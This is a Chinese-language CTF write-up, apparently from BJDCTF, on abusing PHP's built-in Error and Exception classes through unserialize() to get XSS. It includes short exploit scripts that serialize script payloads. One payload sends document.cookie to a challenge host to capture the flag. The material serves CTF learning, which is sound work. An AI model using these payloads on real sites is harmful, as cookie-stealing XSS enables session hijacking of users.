PHP原生类反序列化
前言:
PHP原生类反序列化之前没遇到过,这次BJDCTF恰好碰到了,通过具体的题目来学习一下
利用魔法方法 __toString
Error----适用于php7版本----XSS
Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。
测试代码
<?php
$a = unserialize($_GET['lemon']);
echo $a;
EXP
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
#注意版本是PHP7
Exception----适用于php5、7版本----XSS
测试代码(这里直接使用赛题的环境)
<?php
$a = unserialize($_GET['lemon']);
echo $a;
EXP
<?php
$a = new Exception("<script>alert(/lemon/)</script>");
echo urlencode(serialize($a));
这里也记录下一些XSS的知识
#实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>
xss之光
开始用目录扫描器扫一下,发现是git泄露,下载下来,发现index.php文件
随便序列化一个传入试试,能输出
而且这和之前遇到过的反序列化问题就很不一样了,没有一个类,所以只能找到php内置类来进行反序列化,抓包发现版本是PHP5,使用PHP5内置Exception类进行反序列化
<?php
$a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));
flag就在COOKIE中
总结:
当遇到反序列化问题的时,代码中一个类都没有,便对原生类进行反序列化。
未完待续,待之后发现有新的再来补充。。。
参考博客
https://www.gem-love.com/ctf/2097.html#XSS
http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
PHP原生类反序列化相关推荐
- php原生类,反序列化之PHP原生类的利用
正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何? N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化. 基础知识 首先还 ...
- PHP反序列化原生类利用
前言 之前对反序列化原生类进行过总结,但可能总结的方面不同,在ctf用到的很少,所以这里在对ctf常用原生类进行一次总结. 原生类 php中内置很多原生的类,在CTF中常以echo new $a($b ...
- 怎么访问原生php类,关于如何利用php的原生类进行XSS
在CTF中,这一类型的题目一般会在代码中给出反序列化点,但是却找不到pop链,类似于[BJDCTF 2nd]xss之光这一题,通过GitHack下载代码后,发现如下: 我们可以看到题目代码给出了反序列 ...
- SoapClient原生类在开发以及安全中利用
原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞.技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬 ...
- 数组属于一种原生类_前端程序员面试你应该懂的原生JS——1
本文梳理出了一些面试中有一定难度的高频原生JS问题,部分知识点可能你之前从未关注过,或者看到了,却没有仔细研究,但是它们却非常重要. 1. 原始类型有哪几种?null 是对象吗?原始数据类型和复杂数据 ...
- java什么是原生类_Java 基础 - 原生类型
更详细的说明,请参考: Java 原生类型与包装器类型深度剖析,https://blog.csdn.net/justloveyou_/article/details/52651211 一. 原生类型与 ...
- javascript 原生类 DOMParser 把 字符串格式的HTML文档源码 转换成 document DOM对象
文章目录 Intro QA DOMParser 在 console 的使用 cheerio 在 node 项目中的使用 Reference 测试 sum Intro 有一天我在写爬虫. 其实也说不上是 ...
- 数组属于一种原生类_这种材质属于国标红木的红酸枝木类,很有潜在的一种材质...
这种材质属于国标红木的红酸枝木类,很有潜质的一种木材,这种材质曾经以很像黄花梨的颜色而一直被关注,但是发现这种材质的有些纹理,比黄花梨的还要漂亮,这种材质就是白酸枝,学名奥氏黄檀. 说起这种材质,其实 ...
- 数组属于一种原生类吗_瘢痕有很多种类型,你的瘢痕到底属于哪一种你知道吗?...
济南童康儿童医院专家指出:今天,我想与大家分享疤痕的分类.我希望您可以通过了解相关知识来澄清疤痕的分类和某些特征.疤痕大致可分为五种:增生性疤痕,萎缩性疤痕,挛缩性疤痕,肥厚性疤痕和瘢痕疙瘩.让我为您 ...
最新文章
- android固定位置滚动文本,android – 滚动文本上方的按钮,按钮固定在底部
- 中国电子信息工程科技发展十四大趋势(2021)
- 如何创建文件并用Java写入文件?
- set集合python_python基础-set集合
- P4735-最大异或和【可持久化Trie】
- vue better-scroll 使用 下拉刷新、上拉加载
- wangmarket-master
- devexpress 创建窗口句柄时出错_实验一 线程的创建和撤销
- 那年学过的Java笔记一SE基础
- 突发!迈克菲掌门人 John McAfee 在西班牙监狱自缢身亡
- 中国知网 博硕士论文 PDF下载 及书签自动生成
- python绘制箱线图-python绘制箱线图
- quartz 定时任务调度框架demo
- Chat Top10 | 实战:参考牛顿冷却定律优化最热问题的排序
- 发起AI联盟,天猫精灵CES布局智能家居市场
- 最详细的Keycloak教程:Keycloak实现手机号、验证码登陆——(一)Keycloak的下载与使用
- 吉林大学计算机技术(电子信息)专业(专硕)解读
- ANSYS中Beam188\Beam189单元命令流提取最大应力
- AM335x SPL
- BIN,S19,M0T,SREC,HEX文件解析;FileParse(二)之源码解析
热门文章
- 不同程序用不同网络_微信小程序直播登场,与平台直播有何不同?
- java web netty_基于Netty的非Servlet规范 JavaWeb框架及高性能 Java服务器
- 五、Hive数据类型和简单使用
- 八十六、从拓扑排序探究有向图
- 七十六、 数据结构二叉树及其代码实现
- python与 积分
- 博士申请 | 香港理工大学滕龙老师课题组招收机器人方向博士生/研究助理
- ACL 2021 | 北京大学KCL实验室:如何利用双语词典增强机器翻译?
- 4个Keynote、12篇论文分享、40个Poster,CVPR 2021论文分享会全日程公布
- “玩转标签,发现层次的力量!”:跨模态哈希方法研究